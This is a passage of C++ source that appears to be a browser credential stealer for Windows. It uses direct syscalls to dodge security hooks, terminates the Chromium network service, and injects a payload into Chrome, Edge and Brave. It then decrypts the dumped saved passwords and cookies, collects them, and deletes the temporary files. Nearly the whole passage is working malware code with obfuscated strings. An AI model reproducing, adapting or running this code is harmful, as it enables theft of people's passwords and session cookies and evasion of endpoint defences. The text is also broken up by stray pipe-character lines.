if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessImageFileName, imageName, (ULONG)buffer.size(), NULL)) || imageName->Length == 0)
|
||
|
|
continue;
|
||
|
|
|
||
|
|
fs::path p(std::wstring(imageName->Buffer, imageName->Length / sizeof(wchar_t)));
|
||
|
|
if (_wcsicmp(p.filename().c_str(), config.browserProcessName.c_str()) != 0)
|
||
|
|
continue;
|
||
|
|
|
||
|
|
PROCESS_BASIC_INFORMATION pbi{};
|
||
|
|
if (!NT_SUCCESS(NtQueryInformationProcess_syscall(hCurrentProc.get(), ProcessBasicInformation, &pbi, sizeof(pbi), nullptr)) || !pbi.PebBaseAddress)
|
||
|
|
continue;
|
||
|
|
|
||
|
|
PEB peb{};
|
||
|
|
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), pbi.PebBaseAddress, &peb, sizeof(peb), nullptr)))
|
||
|
|
continue;
|
||
|
|
RTL_USER_PROCESS_PARAMETERS params{};
|
||
|
|
if (!NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), peb.ProcessParameters, ¶ms, sizeof(params), nullptr)))
|
||
|
|
continue;
|
||
|
|
|
||
|
|
std::vector<wchar_t> cmdLine(params.CommandLine.Length / sizeof(wchar_t) + 1, 0);
|
||
|
|
if (params.CommandLine.Length > 0 && !NT_SUCCESS(NtReadVirtualMemory_syscall(hCurrentProc.get(), params.CommandLine.Buffer, cmdLine.data(), params.CommandLine.Length, nullptr)))
|
||
|
|
continue;
|
||
|
|
|
||
|
|
if (wcsstr(cmdLine.data(), EC(L"--utility-sub-type=network.mojom.NetworkService")))
|
||
|
|
{
|
||
|
|
console.Success(EC("Found and terminated network service PID: ") + std::to_string((DWORD)pbi.UniqueProcessId));
|
||
|
|
NtTerminateProcess_syscall(hCurrentProc.get(), 0);
|
||
|
|
processes_terminated++;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
if (processes_terminated > 0)
|
||
|
|
{
|
||
|
|
console.Info(EC("Termination sweep complete. Waiting for file locks to fully release."));
|
||
|
|
Sleep(1500);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
void RunInjectionWorkflow(const Configuration& config, const Console& console, std::vector<BYTE> borr)
|
||
|
|
{
|
||
|
|
KillBrowserNetworkService(config, console);
|
||
|
|
|
||
|
|
TargetProcess target(config, console);
|
||
|
|
target.createSuspended();
|
||
|
|
|
||
|
|
PipeCommunicator pipe(Utils::GenerateUniquePipeName(), console);
|
||
|
|
pipe.create();
|
||
|
|
|
||
|
|
InjectionManager injector(target, console);
|
||
|
|
injector.execute(pipe.getName(), borr);
|
||
|
|
|
||
|
|
pipe.waitForClient();
|
||
|
|
pipe.sendInitialData(config.verbose, config.outputPath);
|
||
|
|
pipe.relayMessages();
|
||
|
|
|
||
|
|
target.terminate();
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
std::string toString(const json& j) {
|
||
|
|
if (j.is_string()) return j.get<std::string>();
|
||
|
|
if (j.is_number()) return std::to_string(j.get<double>());
|
||
|
|
if (j.is_boolean()) return j.get<bool>() ? EC("true") : EC("false");
|
||
|
|
if (j.is_null()) return EC("");
|
||
|
|
return ""; // fallback, or handle arrays/objects separately
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
void PassProcess(const std::string& path, std::vector<std::vector<std::string>>& Passeyy, std::string Nummy) {
|
||
|
|
if (fs::exists(path)) {
|
||
|
|
std::string decrypted;
|
||
|
|
if (LoadDecryptedFromFile(decrypted, path, 0xAA)) {
|
||
|
|
try {
|
||
|
|
json j = json::parse(decrypted);
|
||
|
|
|
||
|
|
std::cout << EC("\n=== Decrypted from: ") << path << EC(" ===\n");
|
||
|
|
|
||
|
|
for (auto& item : j) {
|
||
|
|
if (item.contains(EC("origin")) && item.contains(EC("username")) && item.contains(EC("password"))) {
|
||
|
|
try {
|
||
|
|
|
||
|
|
// Credentials format
|
||
|
|
/*std::cout << EC("Origin: ") << item[EC("origin")] << EC("\n");
|
||
|
|
std::cout << EC("Username: ") << item[EC("username")] << EC("\n");
|
||
|
|
std::cout << EC("Password: ") << item[EC("password")] << EC("\n");
|
||
|
|
std::cout << EC("---------------------\n");*/
|
||
|
|
|
||
|
|
Passeyy.push_back({ toString(item[EC("origin")]), toString(item[EC("username")]), toString(item[EC("password")]), Nummy });
|
||
|
|
}
|
||
|
|
catch (std::exception& e) {
|
||
|
|
std::cerr << EC("JSON parse error BUT INSIDEE: ") << e.what() << EC("\n");
|
||
|
|
continue;
|
||
|
|
}
|
||
|
|
|
||
|
|
}
|
||
|
|
else {
|
||
|
|
std::cout << item.dump(4) << EC("\n");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
}
|
||
|
|
catch (std::exception& e) {
|
||
|
|
std::cerr << EC("JSON parse error in ") << path << EC(": ") << e.what() << EC("\n");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
else {
|
||
|
|
std::cout << EC("Failed to decrypt: ") << path << EC("\n");
|
||
|
|
}
|
||
|
|
|
||
|
|
// Delete file after processing
|
||
|
|
std::error_code ec;
|
||
|
|
fs::remove(path, ec);
|
||
|
|
if (ec) {
|
||
|
|
std::cerr << EC("Failed to delete: ") << path << EC(" (") << ec.message() << EC(")\n");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
void CookieProcess(const std::string& path, std::vector<std::vector<std::string>>& Cookies, std::string Nummy) {
|
||
|
|
if (fs::exists(path)) {
|
||
|
|
std::string decrypted;
|
||
|
|
|
||
|
|
std::cout << EC("Ck 1") << std::endl;
|
||
|
|
|
||
|
|
if (LoadDecryptedFromFile(decrypted, path, 0xAA)) {
|
||
|
|
try {
|
||
|
|
|
||
|
|
std::cout << EC("Ck 2") << std::endl;
|
||
|
|
json j = json::parse(decrypted);
|
||
|
|
|
||
|
|
std::cout << EC("\n=== Decrypted from: ") << path << EC(" ===\n");
|
||
|
|
|
||
|
|
for (auto& item : j) {
|
||
|
|
if (item.contains(EC("host")) && item.contains(EC("name")) && item.contains(EC("value"))) {
|
||
|
|
|
||
|
|
try
|
||
|
|
{
|
||
|
|
// Cookie format
|
||
|
|
/*std::cout << EC("Host: ") << item[EC("host")] << EC("\n");
|
||
|
|
std::cout << EC("Name: ") << item[EC("name")] << EC("\n");
|
||
|
|
std::cout << EC("Value: ") << item[EC("value")] << EC("\n");
|
||
|
|
std::cout << EC("Path: ") << item[EC("path")] << EC("\n");
|
||
|
|
std::cout << EC("Secure: ") << item[EC("secure")] << EC("\n");
|
||
|
|
std::cout << EC("HttpOnly: ") << item[EC("httpOnly")] << EC("\n");
|
||
|
|
std::cout << EC("Expires: ") << item[EC("expires")] << EC("\n");
|
||
|
|
std::cout << EC("---------------------\n");*/
|
||
|
|
|
||
|
|
Cookies.push_back({ toString(item[EC("name")]), toString(item[EC("value")]), toString(item[EC("host")]), toString(item[EC("path")]), toString(item[EC("expires")]), Nummy });
|
||
|
|
}
|
||
|
|
catch (std::exception& e) {
|
||
|
|
std::cerr << EC("JSON parse error BUT INSIDEE: ") << e.what() << EC("\n");
|
||
|
|
continue;
|
||
|
|
}
|
||
|
|
|
||
|
|
}
|
||
|
|
else {
|
||
|
|
std::cout << item.dump(4) << EC("\n");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
}
|
||
|
|
catch (std::exception& e) {
|
||
|
|
std::cerr << EC("JSON parse error in ") << path << EC(": ") << e.what() << EC("\n");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
else {
|
||
|
|
std::cout << EC("Failed to decrypt: ") << path << EC("\n");
|
||
|
|
}
|
||
|
|
|
||
|
|
// Delete file after processing
|
||
|
|
std::error_code ec;
|
||
|
|
fs::remove(path, ec);
|
||
|
|
if (ec) {
|
||
|
|
std::cerr << EC("Failed to delete: ") << path << EC(" (") << ec.message() << EC(")\n");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
bool IsBrowserInstalled(const std::wstring& regSubKey, const std::wstring& valueName)
|
||
|
|
{
|
||
|
|
HKEY hKey;
|
||
|
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, regSubKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS &&
|
||
|
|
RegOpenKeyExW(HKEY_CURRENT_USER, regSubKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
wchar_t path[MAX_PATH];
|
||
|
|
DWORD pathSize = sizeof(path);
|
||
|
|
LONG result = RegQueryValueExW(hKey, valueName.c_str(), nullptr, nullptr, reinterpret_cast<LPBYTE>(path), &pathSize);
|
||
|
|
RegCloseKey(hKey);
|
||
|
|
|
||
|
|
return (result == ERROR_SUCCESS && wcslen(path) > 0);
|
||
|
|
}
|
||
|
|
|
||
|
|
bool HasChrome()
|
||
|
|
{
|
||
|
|
return IsBrowserInstalled(EC(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe"), EC(L""));
|
||
|
|
}
|
||
|
|
|
||
|
|
bool HasBrave()
|
||
|
|
{
|
||
|
|
return IsBrowserInstalled(EC(L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\brave.exe"), EC(L""));
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
// Function definition
|
||
|
|
void Moain(std::vector<BYTE> bayyat, std::vector<std::vector<std::string>>& Cookies, std::vector<std::vector<std::string>>& Passeyy) {
|
||
|
|
Console console(false);
|
||
|
|
|
||
|
|
|
||
|
|
if (!InitializeSyscalls(false))
|
||
|
|
{
|
||
|
|
console.Error(EC("Failed to initialize direct syscalls. Critical NTDLL functions might be hooked or gadgets not found."));
|
||
|
|
}
|
||
|
|
|
||
|
|
std::string Temppp = GetTempPathStr();
|
||
|
|
|
||
|
|
std::string ChromeCookiePath = Temppp + EC("chc11");
|
||
|
|
std::string ChromePassPath = Temppp + EC("cps11");
|
||
|
|
|
||
|
|
std::string EdgeCookiePath = Temppp + EC("eck11");
|
||
|
|
std::string EdgePassPath = Temppp + EC("eps11");
|
||
|
|
|
||
|
|
std::string BraveCookiePath = Temppp + EC("bccb11");
|
||
|
|
std::string BravePassPath = Temppp + EC("bppb11");
|
||
|
|
|
||
|
|
std::vector<std::vector<std::string>> CookiesTepo;
|
||
|
|
std::vector<std::vector<std::string>> PasswordsTepo;
|
||
|
|
|
||
|
|
if (HasChrome())
|
||
|
|
{
|
||
|
|
printf(EC("In Chrome"));
|
||
|
|
auto optConfig = Configuration::CreateFromArgs(EC(L"chrome"));
|
||
|
|
try
|
||
|
|
{
|
||
|
|
RunInjectionWorkflow(*optConfig, console, bayyat);
|
||
|
|
}
|
||
|
|
catch (const std::runtime_error& e)
|
||
|
|
{
|
||
|
|
console.Error(e.what());
|
||
|
|
}
|
||
|
|
|
||
|
|
Sleep(250);
|
||
|
|
|
||
|
|
CookieProcess(ChromeCookiePath, CookiesTepo, EC("1"));
|
||
|
|
PassProcess(ChromePassPath, PasswordsTepo, EC("1"));
|
||
|
|
Cookies = CookiesTepo;
|
||
|
|
Passeyy = PasswordsTepo;
|
||
|
|
}
|
||
|
|
|
||
|
|
printf(EC("In Edge"));
|
||
|
|
auto optConfig2 = Configuration::CreateFromArgs(EC(L"edge"));
|
||
|
|
try
|
||
|
|
{
|
||
|
|
RunInjectionWorkflow(*optConfig2, console, bayyat);
|
||
|
|
}
|
||
|
|
catch (const std::runtime_error& e)
|
||
|
|
{
|
||
|
|
console.Error(e.what());
|
||
|
|
}
|
||
|
|
|
||
|
|
Sleep(250);
|
||
|
|
|
||
|
|
//CookieProcess(EdgeCookiePath, CookiesTepo, EC("2"));
|
||
|
|
if (fs::exists(EdgeCookiePath)) {
|
||
|
|
std::error_code eced;
|
||
|
|
fs::remove(EdgeCookiePath, eced);
|
||
|
|
if (eced) {
|
||
|
|
std::cerr << EC("Failed to delete: ") << EdgeCookiePath << EC(" (") << eced.message() << EC(")\n");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
PassProcess(EdgePassPath, PasswordsTepo, EC("2"));
|
||
|
|
Cookies = CookiesTepo;
|
||
|
|
Passeyy = PasswordsTepo;
|
||
|
|
|
||
|
|
|
||
|
|
if (HasBrave())
|
||
|
|
{
|
||
|
|
printf(EC("In Brave"));
|
||
|
|
|
||
|
|
auto optConfig3 = Configuration::CreateFromArgs(EC(L"brave"));
|
||
|
|
try
|
||
|
|
{
|
||
|
|
RunInjectionWorkflow(*optConfig3, console, bayyat);
|
||
|
|
}
|
||
|
|
catch (const std::runtime_error& e)
|
||
|
|
{
|
||
|
|
std::cout << EC("Error during injection: ") << e.what() << EC("\n");
|
||
|
|
}
|
||
|
|
|
||
|
|
Sleep(250);
|
||
|
|
|
||
|
|
//CookieProcess(BraveCookiePath, CookiesTepo, EC("3"));
|
||
|
|
if (fs::exists(BraveCookiePath)) {
|
||
|
|
std::error_code eceb;
|
||
|
|
fs::remove(BraveCookiePath, eceb);
|
||
|
|
if (eceb) {
|
||
|
|
std::cerr << EC("Failed to delete: ") << BraveCookiePath << EC(" (") << eceb.message() << EC(")\n");
|
||
|
|
}
|
||
|
|
}
|
||
|
|
PassProcess(BravePassPath, PasswordsTepo, EC("3"));
|
||
|
|
Cookies = CookiesTepo;
|
||
|
|
Passeyy = PasswordsTepo;
|
||
|
|
}
|
||
|
|
|
||
|
|
|
||
|
|
CookiesTepo.clear();
|
||
|
|
PasswordsTepo.clear();
|
||
|
|
|
||
|
|
printf(EC("Injector finished successfully."));
|
||
|
|
}
|